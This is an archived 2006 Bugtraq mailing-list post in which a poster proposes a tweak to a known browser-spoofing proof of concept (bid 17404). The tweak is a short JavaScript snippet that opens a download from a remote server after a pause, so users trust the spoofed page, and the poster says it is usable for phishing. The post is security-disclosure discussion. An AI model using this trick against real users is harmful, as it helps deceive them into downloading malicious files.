| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <20060721133013.5445.qmail@securityfocus.com>
Date: 21 Jul 2006 13:30:13 -0000
From: crack@...e.com
To: bugtraq@...urityfocus.com
Subject: about bid 17404
Hallo
If you modify the code in bid 17404 in such a way:
win = window.open('http://server/prova.zip','new')
pause (2000)
the user will see the page opening of correct site, and then download alert from original file site (server)
Obviusly the alert form show the real, but if no dns resolution is provided i think that the middle user should try to download the file trusting web browser page.
This is just a gonzo pishing but probably usable in the wild.
regards
Powered by blists - more mailing lists